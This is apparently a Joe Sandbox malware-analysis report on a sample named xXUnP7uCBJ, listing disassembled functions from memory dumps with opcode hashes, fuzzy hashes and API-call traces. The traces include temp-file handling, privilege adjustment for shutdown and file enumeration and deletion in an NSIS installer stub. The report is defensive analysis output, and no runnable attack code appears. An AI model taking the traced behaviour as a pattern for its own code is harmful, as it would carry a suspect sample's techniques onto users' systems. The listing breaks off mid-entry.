Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ed34fade54ad8264bc0c25254d4c3835124a4ed748f27426027485296b8bdc1
Instruction ID: 6d55b3984f2c681b74d5564fa82e4ab079f8d5c7dd94bafbaf6e1a3390e841b3
Opcode Fuzzy Hash: 3ed34fade54ad8264bc0c25254d4c3835124a4ed748f27426027485296b8bdc1
Instruction Fuzzy Hash: 3DE0C2314083444FCB02E770EC651993B2AABC1600F008561D8040B66ADA781E868B62

Function 0017FF21 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1d32dae15a4150be039b1250eeaf851b9a1c8893f4164201afbb42a0fe8cdcc
Instruction ID: d5bcb25a99ba1588f3463817b751de531c27c96470af119a059b0686f4cfa377
Opcode Fuzzy Hash: d1d32dae15a4150be039b1250eeaf851b9a1c8893f4164201afbb42a0fe8cdcc
Instruction Fuzzy Hash: 3DD02E3080938CAFC760DB68D809BA9FB3CEB43211F0402ECE80C23102CB310E98C78A

Function 00179F6D Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 101e9ac45c5ebf9386a266e2141f210388272415fd941e15759a96cd57caa072
Instruction ID: 807dab4c2933872a2e018e3ab57698b90bd88c6b8cfc21cbd5023132fbd60417
Opcode Fuzzy Hash: 101e9ac45c5ebf9386a266e2141f210388272415fd941e15759a96cd57caa072
Instruction Fuzzy Hash: 1CD0673AB000089FCB049F99EC809DDF7B6FB98221B048117E915A3264C6319965DB60

Function 3956D095 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed4bdd24e803c58f6eeb7c09eb390a1772507ec764b584d0ee44ae582bdca692
Instruction ID: 36f8b10a25425ebe54bd30225c2f7b035a4dd54435cdb182de318151ed8d40d7
Opcode Fuzzy Hash: ed4bdd24e803c58f6eeb7c09eb390a1772507ec764b584d0ee44ae582bdca692
Instruction Fuzzy Hash: 6BD05E2210E7E00FDB17D3287860488BF600CC652135946EAE098C74E6EA450A8E878B

Function 395695D8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5dbf4ea6d9c7514725a69e7235dc77bd45c9d73f3804dbf13c55671d1a23f5
Instruction ID: e8b316fba325bf04995429997d430314284e729b08c62aee06852505753220f3
Opcode Fuzzy Hash: fd5dbf4ea6d9c7514725a69e7235dc77bd45c9d73f3804dbf13c55671d1a23f5
Instruction Fuzzy Hash: B0C08033205711075614B21CFC5058F5E559DC57A2395DD37F404D31249F545D8FC2C5

Function 0017FF30 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81c01b2b42e62c0afa0abc78cd18ee855952fb771d148d7c8a3c9c7cef7af67e
Instruction ID: 861f4eb9152553af375ec5114990a6f2f9020bad1d75fd3bfbfe05cddf968cdb
Opcode Fuzzy Hash: 81c01b2b42e62c0afa0abc78cd18ee855952fb771d148d7c8a3c9c7cef7af67e
Instruction Fuzzy Hash: B8D0C971805208ABD754DBA4D805BAAB778E747202F4051A8A908632509B755D11D695

Function 0017FFB0 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acce661b0d3939f0af6fc58784dc06bca09f55ca0dc2795e7a1a0b36fdd0cacd
Instruction ID: 92703cab8e49f7b8561e64bec6261c0bff4a9cd4b88b3f75ce26b0c683ac1cfb
Opcode Fuzzy Hash: acce661b0d3939f0af6fc58784dc06bca09f55ca0dc2795e7a1a0b36fdd0cacd
Instruction Fuzzy Hash: 5CD05E391093459FD7038B20C41058ABFA3AFDA340B05888AA0846B171C2306819DB52

Function 3956BD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 935507920de23879daae5b215c0afff88b3204d70bc8bd033deceff03ad77bf8
Instruction ID: 0c734a33e6f0c8319ed5aed332d900567a61afc8a4d50a2501090c10f37fa739
Opcode Fuzzy Hash: 935507920de23879daae5b215c0afff88b3204d70bc8bd033deceff03ad77bf8
Instruction Fuzzy Hash: 69C012B5004E0A8BF2042B50AC1CB39B2B8B707307FC82910A008428318BB864548684

Function 395694B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8200b59cd4b5b3319fca05e15f23980bdce37accdd9c288c7c449547c69ef645
Instruction ID: 205686e9152ffb4778dd9bc7a3179ddeaa42de6b2bf827396456a069f0209252
Opcode Fuzzy Hash: 8200b59cd4b5b3319fca05e15f23980bdce37accdd9c288c7c449547c69ef645
Instruction Fuzzy Hash: FEC08C302683048FE2009A1DC884B0137ACFF85B08F4068E1F104CB632CB62FC008605

Function 00175710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955230408.0000000000170000.00000040.00000800.00020000.00000000.sdmp, Offset: 00170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b0434c366467e6c19ef31397981e5031db11e53f2a4349debb57d1d285f23f3
Instruction ID: 19a8d71e8aad4837209ed0339b36a5f2bc13b44087e5d02b66866b6ceab48330
Opcode Fuzzy Hash: 8b0434c366467e6c19ef31397981e5031db11e53f2a4349debb57d1d285f23f3
Instruction Fuzzy Hash: 80C080304543184FD701F775EC56655372F77C0501740C510E8051A56EDFBC5DC64F91

Non-executed Functions

Function 004034A5 Relevance: 75.7, APIs: 32, Strings: 11, Instructions: 410stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004034C8
GetVersion.KERNEL32 ref: 004034CE
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403501
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 0040353E
OleInitialize.OLE32(00000000), ref: 00403545
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 00403561
GetCommandLineW.KERNEL32(00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 00403576
CharNextW.USER32(00000000,00435000,00000020,00435000,00000000,?,00000006,00000008,0000000A), ref: 004035AE

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

GetTempPathW.KERNEL32(00000400,00437800,?,00000006,00000008,0000000A), ref: 004036E8
GetWindowsDirectoryW.KERNEL32(00437800,000003FB,?,00000006,00000008,0000000A), ref: 004036F9
lstrcatW.KERNEL32(00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403705
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp,?,00000006,00000008,0000000A), ref: 00403719
lstrcatW.KERNEL32(00437800,Low,?,00000006,00000008,0000000A), ref: 00403721
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low,?,00000006,00000008,0000000A), ref: 00403732
SetEnvironmentVariableW.KERNEL32(TMP,00437800,?,00000006,00000008,0000000A), ref: 0040373A
DeleteFileW.KERNEL32(00437000,?,00000006,00000008,0000000A), ref: 0040374E

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 00403819
ExitProcess.KERNEL32 ref: 0040383A
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040384D
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040385C
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403867
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403873
SetCurrentDirectoryW.KERNEL32(00437800,00437800,?,00000006,00000008,0000000A), ref: 0040388F
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 004038E9
CopyFileW.KERNEL32(00438800,00420EE8,00000001,?,00000006,00000008,0000000A), ref: 004038FD
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000,?,00000006,00000008,0000000A), ref: 0040392A
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403959
OpenProcessToken.ADVAPI32(00000000), ref: 00403960
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403975
AdjustTokenPrivileges.ADVAPI32 ref: 00403998
ExitWindowsEx.USER32(00000002,80040002), ref: 004039BD
ExitProcess.KERNEL32 ref: 004039E0

Strings

TEMP, xrefs: 0040372D
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004034BC
\Temp, xrefs: 004036FF
Low, xrefs: 0040371B
.tmp, xrefs: 00403861
TMP, xrefs: 00403735
UXTHEME, xrefs: 004034F5, 004034FA, 00403500
Error launching installer, xrefs: 004037D0
SeShutdownPrivilege, xrefs: 0040396F
~nsu, xrefs: 00403845
NSIS Error, xrefs: 00403567

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: lstrcat$FileProcess$Exit$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3441113951-334447862
Opcode ID: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction ID: dafc1af32610b20ef8647c0cf6a3faef20d76686829591872cbc6ab955e55f97
Opcode Fuzzy Hash: 05e616f99306ff785708979dde1941866962e16d7e4638c2318d7513fcce5d93
Instruction Fuzzy Hash: 4DD1F571600310ABE7206F759D49A3B3AECEB4070AF50443FF981B62D2DB7D8956876E

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404DE4
GetDlgItem.USER32(?,00000408), ref: 00404DEF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404E39
LoadBitmapW.USER32(0000006E), ref: 00404E4C
SetWindowLongW.USER32(?,000000FC,004053C4), ref: 00404E65
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404E79
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404E8B
SendMessageW.USER32(?,00001109,00000002), ref: 00404EA1
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404EAD
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404EBF
DeleteObject.GDI32(00000000), ref: 00404EC2
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404EED
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404EF9
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404F8F
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404FBA
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404FCE
GetWindowLongW.USER32(?,000000F0), ref: 00404FFD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040500B
ShowWindow.USER32(?,00000005), ref: 0040501C
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405119
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040517E
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405193
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004051B7
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 004051D7
ImageList_Destroy.COMCTL32(?), ref: 004051EC
GlobalFree.KERNEL32(?), ref: 004051FC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405275
SendMessageW.USER32(?,00001102,?,?), ref: 0040531E
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040532D
InvalidateRect.USER32(?,00000000,00000001), ref: 0040534D
ShowWindow.USER32(?,00000000), ref: 0040539B
GetDlgItem.USER32(?,000003FE), ref: 004053A6
ShowWindow.USER32(00000000), ref: 004053AD

Strings

M, xrefs: 00404F76
N, xrefs: 00405057
, xrefs: 00405385

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: 31df49881469a5ecb160dedc783b3d99a93962993771a60ee7fc946c0ea1256b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 00405AFA Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00437800,75572EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,00437800,75572EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,00437800,75572EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,00437800,75572EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,00437800,75572EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

\*.*, xrefs: 00405B65
0WB, xrefs: 00405B53

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: 0WB$\*.*
API String ID: 2035342205-351390296
Opcode ID: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: c39e99c88a1dbfea07cbdfee3447eb09e3b7895857f1840ffe404f3b8fee67f3
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00437800,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 38FCE790 Relevance: 1.5, Strings: 1, Instructions: 250COMMON

Download Yara Rule

Strings

D, xrefs: 38FCE799

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 40c2e0b9573bce813b8bd3dc8eeffd0b33e7f88b9921dfbb7a427b103efb912e
Instruction ID: fb02c3dd09897f5ce6c3491ff2a95775550d65bfa717a9bb7bf634c4a348308c
Opcode Fuzzy Hash: 40c2e0b9573bce813b8bd3dc8eeffd0b33e7f88b9921dfbb7a427b103efb912e
Instruction Fuzzy Hash: 9AC1DF78E00219CFDB54DFA4C995B9DBBB2BF89304F6085A9D809AB351DB359E81CF10

Function 39567B4F Relevance: .6, Instructions: 603COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f48742e7f47460ae7e160926ff1cf23e7744d43909af98bc0a7b7464cf374d
Instruction ID: 4667a3a0a437e915a7b9fb732c212f5ee0a288ac855ccaedd463e969384b9508
Opcode Fuzzy Hash: 99f48742e7f47460ae7e160926ff1cf23e7744d43909af98bc0a7b7464cf374d
Instruction Fuzzy Hash: 6C62AC74E01228CFEB64DF69C890BDDBBB2BB89305F1085E9D409A7265DB359E81CF50

Function 38FCB930 Relevance: .3, Instructions: 277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da17f68d836d7e80e917dd2e55487e5d717ec2034b37e92f244cb8c7cb1f8763
Instruction ID: 2c7235b10a53350f49d8a8848c65420931c3a448d61631a6a9606c48cbf7bc35
Opcode Fuzzy Hash: da17f68d836d7e80e917dd2e55487e5d717ec2034b37e92f244cb8c7cb1f8763
Instruction Fuzzy Hash: 41C1D278E00218CFDB54DFA5C994B9DBBB2BF89300F2081A9D809AB355DB359E85CF10

Function 38FCB07F Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692c1a87297bc8962f84bc97d0480e53e2db184f388298037c72490e15f96d46
Instruction ID: 5649a0f0b9865d92ca49c8748713337e5e2c1470996690960e3f1ad8195bfed0
Opcode Fuzzy Hash: 692c1a87297bc8962f84bc97d0480e53e2db184f388298037c72490e15f96d46
Instruction Fuzzy Hash: BFC1B278E00219CFDB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB355E85CF10

Function 38FCDEE1 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d922ba29ba18e44f9f0ccc68399531291234899e56d6d7ed3f7d7a9fb79121a
Instruction ID: 2bf5ce363f33648226cea03f6747202755b400786be570392d20ef7dcc1c45c8
Opcode Fuzzy Hash: 2d922ba29ba18e44f9f0ccc68399531291234899e56d6d7ed3f7d7a9fb79121a
Instruction Fuzzy Hash: 34C1CE74E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E81CF10

Function 38FCDA89 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4270a6e540913799fb979f57e2ec2e3cb5200a4872a714348fedfcaf520325db
Instruction ID: 7e86945ffaabd32d51ee12863904933836efd36d63fedf23d4d0bc5984cf5054
Opcode Fuzzy Hash: 4270a6e540913799fb979f57e2ec2e3cb5200a4872a714348fedfcaf520325db
Instruction Fuzzy Hash: E5C1AF74E00219CFEB54DFA5C994B9DBBB2BF89300F6081A9D809AB355DB359E85CF10

Function 38FCEBF2 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983114946.0000000038FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_38fc0000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb1c2caf933d636353b2acafec410cc41e995688935ea9c930e9765e8ad2cf56
Instruction ID: 10436e71806526072e6ddd8e3bb9ab3493cce2062a24526aee0525e72fdfcced
Opcode Fuzzy Hash: bb1c2caf933d636353b2acafec410cc41e995688935ea9c930e9765e8ad2cf56
Instruction Fuzzy Hash: E6C1DE74E00218CFEB14DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E85CF10

Function 39562108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1c063cb739a6e3e1facf9fac28f1d9e901dfbf2d28aaaca94ba96df21523e4b
Instruction ID: aad800676b594e9d25e0f35bc7c8a2245541a469e18bbad4c90b7dbe7b53a86a
Opcode Fuzzy Hash: e1c063cb739a6e3e1facf9fac28f1d9e901dfbf2d28aaaca94ba96df21523e4b
Instruction Fuzzy Hash: B0C1C174E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E81CF50

Function 395629B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65cc09f78c60789038be186953216ddfa9fb1b99e46feec09f519bfabe46a497
Instruction ID: 3526d20a206c01cd4c3ed812e5b0a498722002267bd516fd996a382b5a755e02
Opcode Fuzzy Hash: 65cc09f78c60789038be186953216ddfa9fb1b99e46feec09f519bfabe46a497
Instruction Fuzzy Hash: 33C1C074E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB355DB359E81CF50

Function 39561858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2983618848.0000000039560000.00000040.00000800.00020000.00000000.sdmp, Offset: 39560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_39560000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0d1ead7752156d9fb1c9bd66f4a21853a6768c1220ceb3c3c6be869ec23f282
Instruction ID: 53a2c39e78e078959f0988af78a165285f567922b10ddee9c3a31d6750055b03
Opcode Fuzzy Hash: f0d1ead7752156d9fb1c9bd66f4a21853a6768c1220ceb3c3c6be869ec23f282
Instruction Fuzzy Hash: 1BC1D274E00218CFEB54DFA5C994B9DBBB2BF89304F6081A9D809AB365DB355E81CF50

Function 39567070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

